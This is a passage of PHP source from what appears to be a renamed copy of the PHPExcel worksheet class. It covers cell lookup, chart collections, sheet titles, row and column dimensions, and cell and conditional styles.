// Drawing collection
$this->_drawingCollection = new ArrayObject();
// Chart collection
$this->_chartCollection = new ArrayObject();
// Protection
$this->_protection = new KDAPHPExcel_Worksheet_Protection();
// Default row dimension
$this->_defaultRowDimension = new KDAPHPExcel_Worksheet_RowDimension(NULL);
// Default column dimension
$this->_defaultColumnDimension = new KDAPHPExcel_Worksheet_ColumnDimension(NULL);
$this->_autoFilter = new KDAPHPExcel_Worksheet_AutoFilter(NULL, $this);
}
/**
* Disconnect all cells from this KDAPHPExcel_Worksheet object,
* typically so that the worksheet object can be unset
*
*/
public function disconnectCells() {
if ( $this->_cellCollection !== NULL){
$this->_cellCollection->unsetWorksheetCells();
$this->_cellCollection = NULL;
}
// detach ourself from the workbook, so that it can then delete this worksheet successfully
$this->_parent = null;
$this->_rowDimensions = null;
}
/**
* Code to execute when this worksheet is unset()
*
*/
function __destruct() {
KDAPHPExcel_Calculation::getInstance($this->_parent)
->clearCalculationCacheForWorksheet($this->_title);
$this->disconnectCells();
$iterator = $this->getDrawingCollection()->getIterator();
while ($iterator->valid()) {
$this->getDrawingCollection()->offsetUnset( $iterator->key() );
$iterator->next();
}
}
/**
* Return the cache controller for the cell collection
*
* @return KDAPHPExcel_CachedObjectStorage_xxx
*/
public function getCellCacheController() {
return $this->_cellCollection;
} // function getCellCacheController()
/**
* Get array of invalid characters for sheet title
*
* @return array
*/
public static function getInvalidCharacters()
{
return self::$_invalidCharacters;
}
/**
* Check sheet title for valid Excel syntax
*
* @param string $pValue The string to check
* @return string The valid string
* @throws KDAPHPExcel_Exception
*/
private static function _checkSheetTitle($pValue)
{
// Some of the printable ASCII characters are invalid: * : / \ ? [ ]
if (str_replace(self::$_invalidCharacters, '', $pValue) !== $pValue) {
throw new KDAPHPExcel_Exception('Invalid character found in sheet title');
}
// Maximum 31 characters allowed for sheet title
if (KDAPHPExcel_Shared_String::CountCharacters($pValue) > 31) {
throw new KDAPHPExcel_Exception('Maximum 31 characters allowed in sheet title.');
}
return $pValue;
}
/**
* Get collection of cells
*
* @param boolean $pSorted Also sort the cell collection?
* @return KDAPHPExcel_Cell[]
*/
public function getCellCollection($pSorted = true)
{
if ($pSorted) {
// Re-order cell collection
return $this->sortCellCollection();
}
if ($this->_cellCollection !== NULL) {
return $this->_cellCollection->getCellList();
}
return array();
}
/**
* Sort collection of cells
*
* @return KDAPHPExcel_Worksheet
*/
public function sortCellCollection()
{
if ($this->_cellCollection !== NULL) {
return $this->_cellCollection->getSortedCellList();
}
return array();
}
/**
* Get collection of row dimensions
*
* @return KDAPHPExcel_Worksheet_RowDimension[]
*/
public function getRowDimensions()
{
return $this->_rowDimensions;
}
/**
* Get default row dimension
*
* @return KDAPHPExcel_Worksheet_RowDimension
*/
public function getDefaultRowDimension()
{
return $this->_defaultRowDimension;
}
/**
* Get collection of column dimensions
*
* @return KDAPHPExcel_Worksheet_ColumnDimension[]
*/
public function getColumnDimensions()
{
return $this->_columnDimensions;
}
/**
* Get default column dimension
*
* @return KDAPHPExcel_Worksheet_ColumnDimension
*/
public function getDefaultColumnDimension()
{
return $this->_defaultColumnDimension;
}
/**
* Get collection of drawings
*
* @return KDAPHPExcel_Worksheet_BaseDrawing[]
*/
public function getDrawingCollection()
{
return $this->_drawingCollection;
}
/**
* Get collection of charts
*
* @return KDAPHPExcel_Chart[]
*/
public function getChartCollection()
{
return $this->_chartCollection;
}
/**
* Add chart
*
* @param KDAPHPExcel_Chart $pChart
* @param int|null $iChartIndex Index where chart should go (0,1,..., or null for last)
* @return KDAPHPExcel_Chart
*/
public function addChart(KDAPHPExcel_Chart $pChart = null, $iChartIndex = null)
{
$pChart->setWorksheet($this);
if (is_null($iChartIndex)) {
$this->_chartCollection[] = $pChart;
} else {
// Insert the chart at the requested index
array_splice($this->_chartCollection, $iChartIndex, 0, array($pChart));
}
return $pChart;
}
/**
* Return the count of charts on this worksheet
*
* @return int The number of charts
*/
public function getChartCount()
{
return count($this->_chartCollection);
}
/**
* Get a chart by its index position
*
* @param string $index Chart index position
* @return false|KDAPHPExcel_Chart
* @throws KDAPHPExcel_Exception
*/
public function getChartByIndex($index = null)
{
$chartCount = count($this->_chartCollection);
if ($chartCount == 0) {
return false;
}
if (is_null($index)) {
$index = --$chartCount;
}
if (!isset($this->_chartCollection[$index])) {
return false;
}
return $this->_chartCollection[$index];
}
/**
* Return an array of the names of charts on this worksheet
*
* @return string[] The names of charts
* @throws KDAPHPExcel_Exception
*/
public function getChartNames()
{
$chartNames = array();
foreach($this->_chartCollection as $chart) {
$chartNames[] = $chart->getName();
}
return $chartNames;
}
/**
* Get a chart by name
*
* @param string $chartName Chart name
* @return false|KDAPHPExcel_Chart
* @throws KDAPHPExcel_Exception
*/
public function getChartByName($chartName = '')
{
$chartCount = count($this->_chartCollection);
if ($chartCount == 0) {
return false;
}
foreach($this->_chartCollection as $index => $chart) {
if ($chart->getName() == $chartName) {
return $this->_chartCollection[$index];
}
}
return false;
}
/**
* Refresh column dimensions
*
* @return KDAPHPExcel_Worksheet
*/
public function refreshColumnDimensions()
{
$currentColumnDimensions = $this->getColumnDimensions();
$newColumnDimensions = array();
foreach ($currentColumnDimensions as $objColumnDimension) {
$newColumnDimensions[$objColumnDimension->getColumnIndex()] = $objColumnDimension;
}
$this->_columnDimensions = $newColumnDimensions;
return $this;
}
/**
* Refresh row dimensions
*
* @return KDAPHPExcel_Worksheet
*/
public function refreshRowDimensions()
{
$currentRowDimensions = $this->getRowDimensions();
$newRowDimensions = array();
foreach ($currentRowDimensions as $objRowDimension) {
$newRowDimensions[$objRowDimension->getRowIndex()] = $objRowDimension;
}
$this->_rowDimensions = $newRowDimensions;
return $this;
}
/**
* Calculate worksheet dimension
*
* @return string String containing the dimension of this worksheet
*/
public function calculateWorksheetDimension()
{
// Return
return 'A1' . ':' . $this->getHighestColumn() . $this->getHighestRow();
}
/**
* Calculate worksheet data dimension
*
* @return string String containing the dimension of this worksheet that actually contain data
*/
public function calculateWorksheetDataDimension()
{
// Return
return 'A1' . ':' . $this->getHighestDataColumn() . $this->getHighestDataRow();
}
/**
* Calculate widths for auto-size columns
*
* @param boolean $calculateMergeCells Calculate merge cell width
* @return KDAPHPExcel_Worksheet;
*/
public function calculateColumnWidths($calculateMergeCells = false)
{
// initialize $autoSizes array
$autoSizes = array();
foreach ($this->getColumnDimensions() as $colDimension) {
if ($colDimension->getAutoSize()) {
$autoSizes[$colDimension->getColumnIndex()] = -1;
}
}
// There is only something to do if there are some auto-size columns
if (!empty($autoSizes)) {
// build list of cells references that participate in a merge
$isMergeCell = array();
foreach ($this->getMergeCells() as $cells) {
foreach (KDAPHPExcel_Cell::extractAllCellReferencesInRange($cells) as $cellReference) {
$isMergeCell[$cellReference] = true;
}
}
// loop through all cells in the worksheet
foreach ($this->getCellCollection(false) as $cellID) {
$cell = $this->getCell($cellID);
if (isset($autoSizes[$this->_cellCollection->getCurrentColumn()])) {
// Determine width if cell does not participate in a merge
if (!isset($isMergeCell[$this->_cellCollection->getCurrentAddress()])) {
// Calculated value
// To formatted string
$cellValue = KDAPHPExcel_Style_NumberFormat::toFormattedString(
$cell->getCalculatedValue(),
$this->getParent()->getCellXfByIndex($cell->getXfIndex())->getNumberFormat()->getFormatCode()
);
$autoSizes[$this->_cellCollection->getCurrentColumn()] = max(
(float) $autoSizes[$this->_cellCollection->getCurrentColumn()],
(float)KDAPHPExcel_Shared_Font::calculateColumnWidth(
$this->getParent()->getCellXfByIndex($cell->getXfIndex())->getFont(),
$cellValue,
$this->getParent()->getCellXfByIndex($cell->getXfIndex())->getAlignment()->getTextRotation(),
$this->getDefaultStyle()->getFont()
)
);
}
}
}
// adjust column widths
foreach ($autoSizes as $columnIndex => $width) {
if ($width == -1) $width = $this->getDefaultColumnDimension()->getWidth();
$this->getColumnDimension($columnIndex)->setWidth($width);
}
}
return $this;
}
/**
* Get parent
*
* @return KDAPHPExcel
*/
public function getParent() {
return $this->_parent;
}
/**
* Re-bind parent
*
* @param KDAPHPExcel $parent
* @return KDAPHPExcel_Worksheet
*/
public function rebindParent(KDAPHPExcel $parent) {
$namedRanges = $this->_parent->getNamedRanges();
foreach ($namedRanges as $namedRange) {
$parent->addNamedRange($namedRange);
}
$this->_parent->removeSheetByIndex(
$this->_parent->getIndex($this)
);
$this->_parent = $parent;
return $this;
}
/**
* Get title
*
* @return string
*/
public function getTitle()
{
return $this->_title;
}
/**
* Set title
*
* @param string $pValue String containing the dimension of this worksheet
* @param string $updateFormulaCellReferences boolean Flag indicating whether cell references in formulae should
* be updated to reflect the new sheet name.
* This should be left as the default true, unless you are
* certain that no formula cells on any worksheet contain
* references to this worksheet
* @return KDAPHPExcel_Worksheet
*/
public function setTitle($pValue = 'Worksheet', $updateFormulaCellReferences = true)
{
// Is this a 'rename' or not?
if ($this->getTitle() == $pValue) {
return $this;
}
// Syntax check
self::_checkSheetTitle($pValue);
// Old title
$oldTitle = $this->getTitle();
if ($this->_parent) {
// Is there already such sheet name?
if ($this->_parent->sheetNameExists($pValue)) {
// Use name, but append with lowest possible integer
if (KDAPHPExcel_Shared_String::CountCharacters($pValue) > 29) {
$pValue = KDAPHPExcel_Shared_String::Substring($pValue,0,29);
}
$i = 1;
while ($this->_parent->sheetNameExists($pValue . ' ' . $i)) {
++$i;
if ($i == 10) {
if (KDAPHPExcel_Shared_String::CountCharacters($pValue) > 28) {
$pValue = KDAPHPExcel_Shared_String::Substring($pValue,0,28);
}
} elseif ($i == 100) {
if (KDAPHPExcel_Shared_String::CountCharacters($pValue) > 27) {
$pValue = KDAPHPExcel_Shared_String::Substring($pValue,0,27);
}
}
}
$altTitle = $pValue . ' ' . $i;
return $this->setTitle($altTitle,$updateFormulaCellReferences);
}
}
// Set title
$this->_title = $pValue;
$this->_dirty = true;
if ($this->_parent) {
// New title
$newTitle = $this->getTitle();
KDAPHPExcel_Calculation::getInstance($this->_parent)
->renameCalculationCacheForWorksheet($oldTitle, $newTitle);
if ($updateFormulaCellReferences)
KDAPHPExcel_ReferenceHelper::getInstance()->updateNamedFormulas($this->_parent, $oldTitle, $newTitle);
}
return $this;
}
/**
* Get sheet state
*
* @return string Sheet state (visible, hidden, veryHidden)
*/
public function getSheetState() {
return $this->_sheetState;
}
/**
* Set sheet state
*
* @param string $value Sheet state (visible, hidden, veryHidden)
* @return KDAPHPExcel_Worksheet
*/
public function setSheetState($value = KDAPHPExcel_Worksheet::SHEETSTATE_VISIBLE) {
$this->_sheetState = $value;
return $this;
}
/**
* Get page setup
*
* @return KDAPHPExcel_Worksheet_PageSetup
*/
public function getPageSetup()
{
return $this->_pageSetup;
}
/**
* Set page setup
*
* @param KDAPHPExcel_Worksheet_PageSetup $pValue
* @return KDAPHPExcel_Worksheet
*/
public function setPageSetup(KDAPHPExcel_Worksheet_PageSetup $pValue)
{
$this->_pageSetup = $pValue;
return $this;
}
/**
* Get page margins
*
* @return KDAPHPExcel_Worksheet_PageMargins
*/
public function getPageMargins()
{
return $this->_pageMargins;
}
/**
* Set page margins
*
* @param KDAPHPExcel_Worksheet_PageMargins $pValue
* @return KDAPHPExcel_Worksheet
*/
public function setPageMargins(KDAPHPExcel_Worksheet_PageMargins $pValue)
{
$this->_pageMargins = $pValue;
return $this;
}
/**
* Get page header/footer
*
* @return KDAPHPExcel_Worksheet_HeaderFooter
*/
public function getHeaderFooter()
{
return $this->_headerFooter;
}
/**
* Set page header/footer
*
* @param KDAPHPExcel_Worksheet_HeaderFooter $pValue
* @return KDAPHPExcel_Worksheet
*/
public function setHeaderFooter(KDAPHPExcel_Worksheet_HeaderFooter $pValue)
{
$this->_headerFooter = $pValue;
return $this;
}
/**
* Get sheet view
*
* @return KDAPHPExcel_Worksheet_SheetView
*/
public function getSheetView()
{
return $this->_sheetView;
}
/**
* Set sheet view
*
* @param KDAPHPExcel_Worksheet_SheetView $pValue
* @return KDAPHPExcel_Worksheet
*/
public function setSheetView(KDAPHPExcel_Worksheet_SheetView $pValue)
{
$this->_sheetView = $pValue;
return $this;
}
/**
* Get Protection
*
* @return KDAPHPExcel_Worksheet_Protection
*/
public function getProtection()
{
return $this->_protection;
}
/**
* Set Protection
*
* @param KDAPHPExcel_Worksheet_Protection $pValue
* @return KDAPHPExcel_Worksheet
*/
public function setProtection(KDAPHPExcel_Worksheet_Protection $pValue)
{
$this->_protection = $pValue;
$this->_dirty = true;
return $this;
}
/**
* Get highest worksheet column
*
* @return string Highest column name
*/
public function getHighestColumn()
{
return $this->_cachedHighestColumn;
}
/**
* Get highest worksheet column that contains data
*
* @return string Highest column name that contains data
*/
public function getHighestDataColumn()
{
return $this->_cellCollection->getHighestColumn();
}
/**
* Get highest worksheet row
*
* @return int Highest row number
*/
public function getHighestRow()
{
return $this->_cachedHighestRow;
}
/**
* Get highest worksheet row that contains data
*
* @return string Highest row number that contains data
*/
public function getHighestDataRow()
{
return $this->_cellCollection->getHighestRow();
}
/**
* Get highest worksheet column and highest row that have cell records
*
* @return array Highest column name and highest row number
*/
public function getHighestRowAndColumn()
{
return $this->_cellCollection->getHighestRowAndColumn();
}
/**
* Set a cell value
*
* @param string $pCoordinate Coordinate of the cell
* @param mixed $pValue Value of the cell
* @param bool $returnCell Return the worksheet (false, default) or the cell (true)
* @return KDAPHPExcel_Worksheet|KDAPHPExcel_Cell Depending on the last parameter being specified
*/
public function setCellValue($pCoordinate = 'A1', $pValue = null, $returnCell = false)
{
$cell = $this->getCell($pCoordinate)->setValue($pValue);
return ($returnCell) ? $cell : $this;
}
/**
* Set a cell value by using numeric cell coordinates
*
* @param string $pColumn Numeric column coordinate of the cell (A = 0)
* @param string $pRow Numeric row coordinate of the cell
* @param mixed $pValue Value of the cell
* @param bool $returnCell Return the worksheet (false, default) or the cell (true)
* @return KDAPHPExcel_Worksheet|KDAPHPExcel_Cell Depending on the last parameter being specified
*/
public function setCellValueByColumnAndRow($pColumn = 0, $pRow = 1, $pValue = null, $returnCell = false)
{
$cell = $this->getCell(KDAPHPExcel_Cell::stringFromColumnIndex($pColumn) . $pRow)->setValue($pValue);
return ($returnCell) ? $cell : $this;
}
/**
* Set a cell value
*
* @param string $pCoordinate Coordinate of the cell
* @param mixed $pValue Value of the cell
* @param string $pDataType Explicit data type
* @param bool $returnCell Return the worksheet (false, default) or the cell (true)
* @return KDAPHPExcel_Worksheet|KDAPHPExcel_Cell Depending on the last parameter being specified
*/
public function setCellValueExplicit($pCoordinate = 'A1', $pValue = null, $pDataType = KDAPHPExcel_Cell_DataType::TYPE_STRING, $returnCell = false)
{
// Set value
$cell = $this->getCell($pCoordinate)->setValueExplicit($pValue, $pDataType);
return ($returnCell) ? $cell : $this;
}
/**
* Set a cell value by using numeric cell coordinates
*
* @param string $pColumn Numeric column coordinate of the cell
* @param string $pRow Numeric row coordinate of the cell
* @param mixed $pValue Value of the cell
* @param string $pDataType Explicit data type
* @param bool $returnCell Return the worksheet (false, default) or the cell (true)
* @return KDAPHPExcel_Worksheet|KDAPHPExcel_Cell Depending on the last parameter being specified
*/
public function setCellValueExplicitByColumnAndRow($pColumn = 0, $pRow = 1, $pValue = null, $pDataType = KDAPHPExcel_Cell_DataType::TYPE_STRING, $returnCell = false)
{
$cell = $this->getCell(KDAPHPExcel_Cell::stringFromColumnIndex($pColumn) . $pRow)->setValueExplicit($pValue, $pDataType);
return ($returnCell) ? $cell : $this;
}
/**
* Get cell at a specific coordinate
*
* @param string $pCoordinate Coordinate of the cell
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Cell Cell that was found
*/
public function getCell($pCoordinate = 'A1')
{
// Check cell collection
if ($this->_cellCollection->isDataSet($pCoordinate)) {
return $this->_cellCollection->getCacheData($pCoordinate);
}
// Worksheet reference?
if (strpos($pCoordinate, '!') !== false) {
$worksheetReference = KDAPHPExcel_Worksheet::extractSheetTitle($pCoordinate, true);
return $this->_parent->getSheetByName($worksheetReference[0])->getCell($worksheetReference[1]);
}
// Named range?
if ((!preg_match('/^'.KDAPHPExcel_Calculation::CALCULATION_REGEXP_CELLREF.'$/i', $pCoordinate, $matches)) &&
(preg_match('/^'.KDAPHPExcel_Calculation::CALCULATION_REGEXP_NAMEDRANGE.'$/i', $pCoordinate, $matches))) {
$namedRange = KDAPHPExcel_NamedRange::resolveRange($pCoordinate, $this);
if ($namedRange !== NULL) {
$pCoordinate = $namedRange->getRange();
return $namedRange->getWorksheet()->getCell($pCoordinate);
}
}
// Uppercase coordinate
$pCoordinate = strtoupper($pCoordinate);
if (strpos($pCoordinate,':') !== false || strpos($pCoordinate,',') !== false) {
throw new KDAPHPExcel_Exception('Cell coordinate can not be a range of cells.');
} elseif (strpos($pCoordinate,'$') !== false) {
throw new KDAPHPExcel_Exception('Cell coordinate must not be absolute.');
} else {
// Create new cell object
// Coordinates
$aCoordinates = KDAPHPExcel_Cell::coordinateFromString($pCoordinate);
$cell = $this->_cellCollection->addCacheData($pCoordinate,new KDAPHPExcel_Cell(NULL, KDAPHPExcel_Cell_DataType::TYPE_NULL, $this));
$this->_cellCollectionIsSorted = false;
if (KDAPHPExcel_Cell::columnIndexFromString($this->_cachedHighestColumn) < KDAPHPExcel_Cell::columnIndexFromString($aCoordinates[0]))
$this->_cachedHighestColumn = $aCoordinates[0];
$this->_cachedHighestRow = max($this->_cachedHighestRow,$aCoordinates[1]);
// Cell needs appropriate xfIndex
$rowDimensions = $this->getRowDimensions();
$columnDimensions = $this->getColumnDimensions();
if ( isset($rowDimensions[$aCoordinates[1]]) && $rowDimensions[$aCoordinates[1]]->getXfIndex() !== null ) {
// then there is a row dimension with explicit style, assign it to the cell
$cell->setXfIndex($rowDimensions[$aCoordinates[1]]->getXfIndex());
} else if ( isset($columnDimensions[$aCoordinates[0]]) ) {
// then there is a column dimension, assign it to the cell
$cell->setXfIndex($columnDimensions[$aCoordinates[0]]->getXfIndex());
} else {
// set to default index
$cell->setXfIndex(0);
}
return $cell;
}
}
/**
* Get cell at a specific coordinate by using numeric cell coordinates
*
* @param string $pColumn Numeric column coordinate of the cell
* @param string $pRow Numeric row coordinate of the cell
* @return KDAPHPExcel_Cell Cell that was found
*/
public function getCellByColumnAndRow($pColumn = 0, $pRow = 1)
{
$columnLetter = KDAPHPExcel_Cell::stringFromColumnIndex($pColumn);
$coordinate = $columnLetter . $pRow;
if (!$this->_cellCollection->isDataSet($coordinate)) {
$cell = $this->_cellCollection->addCacheData($coordinate, new KDAPHPExcel_Cell(NULL, KDAPHPExcel_Cell_DataType::TYPE_NULL, $this));
$this->_cellCollectionIsSorted = false;
if (KDAPHPExcel_Cell::columnIndexFromString($this->_cachedHighestColumn) < $pColumn)
$this->_cachedHighestColumn = $columnLetter;
$this->_cachedHighestRow = max($this->_cachedHighestRow,$pRow);
return $cell;
}
return $this->_cellCollection->getCacheData($coordinate);
}
/**
* Cell at a specific coordinate exists?
*
* @param string $pCoordinate Coordinate of the cell
* @throws KDAPHPExcel_Exception
* @return boolean
*/
public function cellExists($pCoordinate = 'A1')
{
// Worksheet reference?
if (strpos($pCoordinate, '!') !== false) {
$worksheetReference = KDAPHPExcel_Worksheet::extractSheetTitle($pCoordinate, true);
return $this->_parent->getSheetByName($worksheetReference[0])->cellExists($worksheetReference[1]);
}
// Named range?
if ((!preg_match('/^'.KDAPHPExcel_Calculation::CALCULATION_REGEXP_CELLREF.'$/i', $pCoordinate, $matches)) &&
(preg_match('/^'.KDAPHPExcel_Calculation::CALCULATION_REGEXP_NAMEDRANGE.'$/i', $pCoordinate, $matches))) {
$namedRange = KDAPHPExcel_NamedRange::resolveRange($pCoordinate, $this);
if ($namedRange !== NULL) {
$pCoordinate = $namedRange->getRange();
if ($this->getHashCode() != $namedRange->getWorksheet()->getHashCode()) {
if (!$namedRange->getLocalOnly()) {
return $namedRange->getWorksheet()->cellExists($pCoordinate);
} else {
throw new KDAPHPExcel_Exception('Named range ' . $namedRange->getName() . ' is not accessible from within sheet ' . $this->getTitle());
}
}
}
else { return false; }
}
// Uppercase coordinate
$pCoordinate = strtoupper($pCoordinate);
if (strpos($pCoordinate,':') !== false || strpos($pCoordinate,',') !== false) {
throw new KDAPHPExcel_Exception('Cell coordinate can not be a range of cells.');
} elseif (strpos($pCoordinate,'$') !== false) {
throw new KDAPHPExcel_Exception('Cell coordinate must not be absolute.');
} else {
// Coordinates
$aCoordinates = KDAPHPExcel_Cell::coordinateFromString($pCoordinate);
// Cell exists?
return $this->_cellCollection->isDataSet($pCoordinate);
}
}
/**
* Cell at a specific coordinate by using numeric cell coordinates exists?
*
* @param string $pColumn Numeric column coordinate of the cell
* @param string $pRow Numeric row coordinate of the cell
* @return boolean
*/
public function cellExistsByColumnAndRow($pColumn = 0, $pRow = 1)
{
return $this->cellExists(KDAPHPExcel_Cell::stringFromColumnIndex($pColumn) . $pRow);
}
/**
* Get row dimension at a specific row
*
* @param int $pRow Numeric index of the row
* @return KDAPHPExcel_Worksheet_RowDimension
*/
public function getRowDimension($pRow = 1)
{
// Found
$found = null;
// Get row dimension
if (!isset($this->_rowDimensions[$pRow])) {
$this->_rowDimensions[$pRow] = new KDAPHPExcel_Worksheet_RowDimension($pRow);
$this->_cachedHighestRow = max($this->_cachedHighestRow,$pRow);
}
return $this->_rowDimensions[$pRow];
}
/**
* Get column dimension at a specific column
*
* @param string $pColumn String index of the column
* @return KDAPHPExcel_Worksheet_ColumnDimension
*/
public function getColumnDimension($pColumn = 'A')
{
// Uppercase coordinate
$pColumn = strtoupper($pColumn);
// Fetch dimensions
if (!isset($this->_columnDimensions[$pColumn])) {
$this->_columnDimensions[$pColumn] = new KDAPHPExcel_Worksheet_ColumnDimension($pColumn);
if (KDAPHPExcel_Cell::columnIndexFromString($this->_cachedHighestColumn) < KDAPHPExcel_Cell::columnIndexFromString($pColumn))
$this->_cachedHighestColumn = $pColumn;
}
return $this->_columnDimensions[$pColumn];
}
/**
* Get column dimension at a specific column by using numeric cell coordinates
*
* @param string $pColumn Numeric column coordinate of the cell
* @return KDAPHPExcel_Worksheet_ColumnDimension
*/
public function getColumnDimensionByColumn($pColumn = 0)
{
return $this->getColumnDimension(KDAPHPExcel_Cell::stringFromColumnIndex($pColumn));
}
/**
* Get styles
*
* @return KDAPHPExcel_Style[]
*/
public function getStyles()
{
return $this->_styles;
}
/**
* Get default style of workbook.
*
* @deprecated
* @return KDAPHPExcel_Style
* @throws KDAPHPExcel_Exception
*/
public function getDefaultStyle()
{
return $this->_parent->getDefaultStyle();
}
/**
* Set default style - should only be used by KDAPHPExcel_IReader implementations!
*
* @deprecated
* @param KDAPHPExcel_Style $pValue
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function setDefaultStyle(KDAPHPExcel_Style $pValue)
{
$this->_parent->getDefaultStyle()->applyFromArray(array(
'font' => array(
'name' => $pValue->getFont()->getName(),
'size' => $pValue->getFont()->getSize(),
),
));
return $this;
}
/**
* Get style for cell
*
* @param string $pCellCoordinate Cell coordinate to get style for
* @return KDAPHPExcel_Style
* @throws KDAPHPExcel_Exception
*/
public function getStyle($pCellCoordinate = 'A1')
{
// set this sheet as active
$this->_parent->setActiveSheetIndex($this->_parent->getIndex($this));
// set cell coordinate as active
$this->setSelectedCells($pCellCoordinate);
return $this->_parent->getCellXfSupervisor();
}
/**
* Get conditional styles for a cell
*
* @param string $pCoordinate
* @return KDAPHPExcel_Style_Conditional[]
*/
public function getConditionalStyles($pCoordinate = 'A1')
{
if (!isset($this->_conditionalStylesCollection[$pCoordinate])) {
$this->_conditionalStylesCollection[$pCoordinate] = array();
}
return $this->_conditionalStylesCollection[$pCoordinate];
}
/**
* Do conditional styles exist for this cell?
*
* @param string $pCoordinate
* @return boolean
*/
public function conditionalStylesExists($pCoordinate = 'A1')
{
if (isset($this->_conditionalStylesCollection[$pCoordinate])) {
return true;
}
return false;
}
/**
* Removes conditional styles for a cell
*
* @param string $pCoordinate
* @return KDAPHPExcel_Worksheet
*/
public function removeConditionalStyles($pCoordinate = 'A1')
{
unset($this->_conditionalStylesCollection[$pCoordinate]);
return $this;
}
/**
* Get collection of conditional styles
*
* @return array
*/
public function getConditionalStylesCollection()
{
return $this->_conditionalStylesCollection;
}
/**
* Set conditional styles
*
* @param $pCoordinate string E.g. 'A1'
* @param $pValue KDAPHPExcel_Style_Conditional[]
* @return KDAPHPExcel_Worksheet
*/
public function setConditionalStyles($pCoordinate = 'A1', $pValue)
{
$this->_conditionalStylesCollection[$pCoordinate] = $pValue;
return $this;
}
/**
* Get style for cell by using numeric cell coordinates
*
* @param int $pColumn Numeric column coordinate of the cell
* @param int $pRow Numeric row coordinate of the cell
* @return KDAPHPExcel_Style
*/
public function getStyleByColumnAndRow($pColumn = 0, $pRow = 1)
{
return $this->getStyle(KDAPHPExcel_Cell::stringFromColumnIndex($pColumn) . $pRow);
}
/**
* Set shared cell style to a range of cells
*
* Please note that this will overwrite existing cell styles for cells in range!
*
* @deprecated
* @param KDAPHPExcel_Style $pSharedCellStyle Cell style to share
* @param string $pRange Range of cells (i.e. "A1:B10"), or just one cell (i.e. "A1")
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function setSharedStyle(KDAPHPExcel_Style $pSharedCellStyle = null, $pRange = '')
{
$this->duplicateStyle($pSharedCellStyle, $pRange);
return $this;
}
/**
* Duplicate cell style to a range of cells
*
* Please note that this will overwrite existing cell styles for cells in range!
*
* @param KDAPHPExcel_Style $pCellStyle Cell style to duplicate
* @param string $pRange Range of cells (i.e. "A1:B10"), or just one cell (i.e. "A1")
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function duplicateStyle(KDAPHPExcel_Style $pCellStyle = null, $pRange = '')
{
// make sure we have a real style and not supervisor
$style = $pCellStyle->getIsSupervisor() ? $pCellStyle->getSharedComponent() : $pCellStyle;
// Add the style to the workbook if necessary
$workbook = $this->_parent;
if ($this->_parent->cellXfExists($pCellStyle)) {
// there is already this cell Xf in our collection
$xfIndex = $pCellStyle->getIndex();
} else {
// we don't have such a cell Xf, need to add
$workbook->addCellXf($pCellStyle);
$xfIndex = $pCellStyle->getIndex();
}
// Uppercase coordinate
$pRange = strtoupper($pRange);
// Is it a cell range or a single cell?
$rangeA = '';
$rangeB = '';
if (strpos($pRange, ':') === false) {
$rangeA = $pRange;
$rangeB = $pRange;
} else {
list($rangeA, $rangeB) = explode(':', $pRange);
}
// Calculate range outer borders
$rangeStart = KDAPHPExcel_Cell::coordinateFromString($rangeA);
$rangeEnd = KDAPHPExcel_Cell::coordinateFromString($rangeB);
// Translate column into index
$rangeStart[0] = KDAPHPExcel_Cell::columnIndexFromString($rangeStart[0]) - 1;
$rangeEnd[0] = KDAPHPExcel_Cell::columnIndexFromString($rangeEnd[0]) - 1;
// Make sure we can loop upwards on rows and columns
if ($rangeStart[0] > $rangeEnd[0] && $rangeStart[1] > $rangeEnd[1]) {
$tmp = $rangeStart;
$rangeStart = $rangeEnd;
$rangeEnd = $tmp;
}
// Loop through cells and apply styles
for ($col = $rangeStart[0]; $col <= $rangeEnd[0]; ++$col) {
for ($row = $rangeStart[1]; $row <= $rangeEnd[1]; ++$row) {
$this->getCell(KDAPHPExcel_Cell::stringFromColumnIndex($col) . $row)->setXfIndex($xfIndex);
}
}
return $this;
}
/**
* Duplicate conditional style to a range of cells
*
* Please note that this will overwrite existing cell styles for cells in range!
*
* @param array of KDAPHPExcel_Style_Conditional $pCellStyle Cell style to duplicate
* @param string $pRange Range of cells (i.e. "A1:B10"), or just one cell (i.e. "A1")
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function duplicateConditionalStyle(array $pCellStyle = null, $pRange = '')
{
foreach($pCellStyle as $cellStyle) {
if (!($cellStyle instanceof KDAPHPExcel_Style_Conditional)) {
throw new KDAPHPExcel_Exception('Style is not a conditional style');
}
}
// Uppercase coordinate
$pRange = strtoupper($pRange);
// Is it a cell range or a single cell?
$rangeA = '';
$rangeB = '';
if (strpos($pRange, ':') === false) {
$rangeA = $pRange;
$rangeB = $pRange;
} else {
list($rangeA, $rangeB) = explode(':', $pRange);
}
// Calculate range outer borders
$rangeStart = KDAPHPExcel_Cell::coordinateFromString($rangeA);
$rangeEnd = KDAPHPExcel_Cell::coordinateFromString($rangeB);
// Translate column into index
$rangeStart[0] = KDAPHPExcel_Cell::columnIndexFromString($rangeStart[0]) - 1;
$rangeEnd[0] = KDAPHPExcel_Cell::columnIndexFromString($rangeEnd[0]) - 1;
// Make sure we can loop upwards on rows and columns
if ($rangeStart[0] > $rangeEnd[0] && $rangeStart[1] > $rangeEnd[1]) {
$tmp = $rangeStart;
$rangeStart = $rangeEnd;
$rangeEnd = $tmp;
}
// Loop through cells and apply styles
for ($col = $rangeStart[0]; $col <= $rangeEnd[0]; ++$col) {
for ($row = $rangeStart[1]; $row <= $rangeEnd[1]; ++$row) {
$this->setConditionalStyles(KDAPHPExcel_Cell::stringFromColumnIndex($col) . $row, $pCellStyle);
}
}
return $this;
}
/**
* Duplicate cell style array to a range of cells
*
* Please note that this will overwrite existing cell styles for cells in range,
* if they are in the styles array. For example, if you decide to set a range of
* cells to font bold, only include font bold in the styles array.
*
* @deprecated
* @param array $pStyles Array containing style information
* @param string $pRange Range of cells (i.e. "A1:B10"), or just one cell (i.e. "A1")
* @param boolean $pAdvanced Advanced mode for setting borders.
* @throws KDAPHPExcel_Exception
* @return KDAPHPExcel_Worksheet
*/
public function duplicateStyleArray($pStyles = null, $pRange = '', $pAdvanced = true)
{
$this->getStyle($pRange)->applyFromArray($pStyles, $pAdvanced);
return $this;
}
/**
* Set break on a cell
*
* @param string $pCell Cell coordinate (e.g. A1)
* @param int $pBreak Break type (type of KDAPHPExcel_Worksheet::BREAK_*)
